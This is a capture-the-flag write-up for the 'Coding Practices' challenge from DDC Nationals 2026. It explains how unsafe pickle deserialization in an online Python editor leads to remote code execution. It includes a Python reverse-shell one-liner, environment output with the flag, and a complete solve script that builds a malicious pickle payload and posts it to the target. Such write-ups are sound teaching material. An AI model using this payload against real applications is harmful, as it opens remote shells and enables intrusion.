Coding Practices
Coding Practices
About the challenge
This challenge was part of the DDC Nationals 2026. I unfortunately did not solve this challenge during the event, but here is my writeup from a couple days later.
The challenge is an online python editor where you can input python code, save it and download it. The page also has an /about section, where you can see which technologies were used to build the application.
Bug
The page mentions a "Special thanks to the built-in pickle and base64 libraries". The challenge description says "Of course, you cant run your code on my machine :)", and when googling pickle rce, I found this page https://medium.com/@estheresom17/breaking-pickle-how-i-got-remote-code-execution-through-python-deserialization-e579637fcb2e.
This article (and many other) says that you can get RCE (Remote Code Execution) using the _reduce_() method.
The pickle docs even mention a warning, stating that pickle is not secure https://docs.python.org/3/library/pickle.html
I read the articles and made myself a nice little exploit script which is at the bottom of this page. I tried various reverse shell payloads from https://revshells.com, and I found one that worked:
export RHOST="{ip}";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
I later realised that there might have been more working payloads (that i tried before), but you had to reload the page, not just save the code.
I got the reverse shell, and the flag was found in the environment variables using the command env
# env
env
RPORT=4444
HOSTNAME=7bbb54c71b13
HOME=/root
GPG_KEY=7169605F62C751356D054A26A821E680E5FA6305
PYTHON_SHA256=c08bc65a81971c1dd5783182826503369466c7e67374d1646519adf05207b684
WERKZEUG_SERVER_FD=3
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.12.13
PWD=/app
RHOST=10.0.240.244
FLAG=DDC{M4YB3-1LL-ST4Y-0FF-P1CKL35-N3XT-T1M3}
Solve Script
# Remember to start listener using nc -lnvp <port>
import pickle, os, base64, requests
ip = input("Enter your IP: ")
port = input("Enter your Port: ")
class EXPLOIT:
def __reduce__(self):
return (os.system, (f"""export RHOST="{ip}";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'""",))
payload = pickle.dumps(EXPLOIT())
revshell = base64.b64encode(payload).decode()
s = requests.session()
rce = f"""
------geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b
Content-Disposition: form-data; name="code_content"
{revshell}
------geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b
Content-Disposition: form-data; name="submit"
Save
------geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b--
"""
r = s.post("http://codingpractices.cfire/", data=rce, headers={"Content-Type": "multipart/form-data; boundary=----geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b"})
r2 = s.get("http://codingpractices.cfire/")